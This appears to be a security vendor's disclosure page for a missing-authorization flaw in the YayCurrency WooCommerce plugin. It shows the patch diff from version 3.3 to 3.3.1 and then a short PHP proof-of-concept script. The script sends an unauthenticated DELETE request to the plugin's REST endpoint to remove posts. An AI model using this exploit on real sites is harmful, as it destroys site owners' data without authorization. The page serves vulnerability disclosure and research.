 			'currencyPosition'     => $woo_current_settings['currencyPosition'],
 			'currencyCodePosition' => 'not_display',
 			'thousandSeparator'    => $woo_current_settings['thousandSeparator'],
@@ -1049,7 +1057,7 @@
 			return $currency_symbol;
 		}
 		$currency_symbol = isset( $apply_currency['symbol'] ) ? $apply_currency['symbol'] : $currency_symbol;
-		return wp_kses_post( html_entity_decode( $currency_symbol ) );
+		return wp_kses_post( self::decode_html_entity( $currency_symbol ) );
 	}

 	public static function change_currency_position( $apply_currency = array() ) {
--- a/yaycurrency/includes/Helpers/SettingsHelper.php
+++ b/yaycurrency/includes/Helpers/SettingsHelper.php
@@ -12,7 +12,9 @@
 		$paymentMethodsOptions     = array();
 		$installed_payment_methods = WC()->payment_gateways->get_available_payment_gateways();
 		foreach ( $installed_payment_methods as $key => $value ) {
-			$paymentMethodsOptions[ $key ] = $value->title;
+			$title                         = isset( $value->title ) && ! empty( $value->title ) ? $value->title : ( isset( $value->method_title ) && ! empty( $value->method_title ) ? $value->method_title : $key );
+			$title                         = wp_strip_all_tags( $title );
+			$paymentMethodsOptions[ $key ] = $title;
 		}

 		return $paymentMethodsOptions;
--- a/yaycurrency/includes/Helpers/SupportHelper.php
+++ b/yaycurrency/includes/Helpers/SupportHelper.php
@@ -360,6 +360,10 @@
 			return true;
 		}

+		if ( ! YayCurrencyHelper::should_run_for_request() ) {
+			return true;
+		}
+
 		return apply_filters( 'yay_currency_use_default_default_currency_symbol', $flag, $is_dis_checkout_diff_currency, $apply_currency );

 	}
@@ -384,6 +388,10 @@

 	public static function detect_original_product_price( $flag, $price, $product ) {

+		if ( ! YayCurrencyHelper::should_run_for_request() ) {
+			return true;
+		}
+
 		if ( empty( $price ) || ! is_numeric( $price ) || YayCurrencyHelper::is_wc_json_products() || class_exists( 'BM' ) ) {
 			$flag = true;
 		}
--- a/yaycurrency/includes/Helpers/YayCurrencyHelper.php
+++ b/yaycurrency/includes/Helpers/YayCurrencyHelper.php
@@ -343,6 +343,26 @@
 		return apply_filters( 'yay_currency_detect_wc_ajax_args', $wc_ajax_args );
 	}

+	public static function should_run_for_request() {
+		$is_rest = ( defined( 'REST_REQUEST' ) && REST_REQUEST ) || WC()->is_rest_api_request();
+
+		if ( $is_rest ) {
+			$rest_route = isset( $_SERVER['REQUEST_URI'] )
+			? sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) )
+			: '';
+
+			// Skip all WooCommerce CRUD REST API requests but keep Store API.
+			if (
+			strpos( $rest_route, '/wp-json/wc/' ) !== false &&
+			strpos( $rest_route, '/wp-json/wc/store/' ) === false
+			) {
+				return false;
+			}
+		}
+
+		return true;
+	}
+
 	public static function is_reload_permitted() {

 		if ( apply_filters( 'YayCurrency/ConvertPrice/NotPermitted', false ) ) {
@@ -644,7 +664,10 @@
 			'decimals'           => $is_default_currency ? Helper::default_price_num_decimals() : $convert_currency['numberDecimal'],
 			'price_format'       => $format,
 		);
-
+		// Fix the issue with the decimals being empty in the wc_price function
+		if ( $args['decimals'] === '' ) {
+			$args['decimals'] = 0;
+		}
 		$formatted_total = wc_price( $price, $args );
 		return $formatted_total;

--- a/yaycurrency/includes/templates/switcher/currency-selected.php
+++ b/yaycurrency/includes/templates/switcher/currency-selected.php
@@ -27,12 +27,7 @@
 		<span class="yay-currency-selected-option">
 			<?php
 				echo wp_kses_post(
-					html_entity_decode(
-						esc_html__( $selected_currency_name, 'yay-currency' ) . esc_html__( $selected_currency_symbol, 'yay-currency' ) . esc_html( $hyphen ) . esc_html__(
-							$selected_currency_code,
-							'yay-currency'
-						)
-					)
+					Helper::decode_html_entity( $selected_currency_name . $selected_currency_symbol . $hyphen . $selected_currency_code )
 				);
 				?>
 		</span>
--- a/yaycurrency/includes/templates/switcher/list-currencies.php
+++ b/yaycurrency/includes/templates/switcher/list-currencies.php
@@ -27,14 +27,7 @@
 		?>
 		<div class="yay-currency-custom-option <?php echo esc_attr( $switcher_size ); ?>">
 			<?php
-				echo wp_kses_post(
-					html_entity_decode(
-						esc_html__( $currency_name, 'yay-currency' ) . esc_html__( $currency_symbol, 'yay-currency' ) . esc_html( $hyphen ) . esc_html__(
-							$currency_code,
-							'yay-currency'
-						)
-					)
-				);
+				echo wp_kses_post( Helper::decode_html_entity( $currency_name . $currency_symbol . $hyphen . $currency_code ) );
 			?>
 		</div>
 		<?php if ( $currency->ID === $selected_currency_id ) { ?>
--- a/yaycurrency/yay-currency.php
+++ b/yaycurrency/yay-currency.php
@@ -4,15 +4,16 @@
  * Plugin Name:       YayCurrency
  * Plugin URI:        https://yaycommerce.com/yaycurrency-woocommerce-multi-currency-switcher/
  * Description:       Provide multiple currencies for WooCommerce. Let your potential customers switch currency on the go.
- * Version:           3.3
+ * Version:           3.3.1
  * Author:            YayCommerce
  * Author URI:        https://yaycommerce.com
  * Text Domain:       yay-currency
  * Domain Path:       /languages
  * Requires at least: 4.7
+ * Tested up to: 6.8.3
  * Requires PHP:      5.4
  * WC requires at least: 3.0.0
- * WC tested up to: 10.2.2
+ * WC tested up to: 10.3.4
  *
  * @package yaycommerce/yaycurrency
  */
@@ -36,7 +37,7 @@
 }

 if ( ! defined( 'YAY_CURRENCY_VERSION' ) ) {
-	define( 'YAY_CURRENCY_VERSION', '3.3' );
+	define( 'YAY_CURRENCY_VERSION', '3.3.1' );
 }

 if ( ! defined( 'YAY_CURRENCY_PLUGIN_URL' ) ) {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-67994 - YayCurrency <= 3.3 - Missing Authorization to Unauthenticated Arbitrary Post Deletion
<?php

$target_url = 'http://example.com/wp-json/yay-currency/v1/currencies';
$currency_id = 123; // Replace with the ID of a 'yay-currency-manage' post to delete

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'DELETE');
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(['currencyID' => $currency_id]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

curl_close($ch);

echo "HTTP Status: $http_coden";
echo "Response: $responsen";

// A successful deletion will return HTTP 200 with a JSON response containing a 'success' key.
// The deleted post will be moved to the trash (if supported) or permanently deleted.
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School